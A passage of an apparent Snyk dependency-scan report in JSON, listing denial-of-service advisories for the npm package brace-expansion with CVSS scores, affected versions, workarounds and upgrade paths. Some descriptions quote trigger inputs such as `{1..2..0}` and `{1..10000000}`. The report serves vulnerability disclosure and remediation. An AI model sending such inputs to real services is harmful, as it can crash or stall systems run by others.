the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": 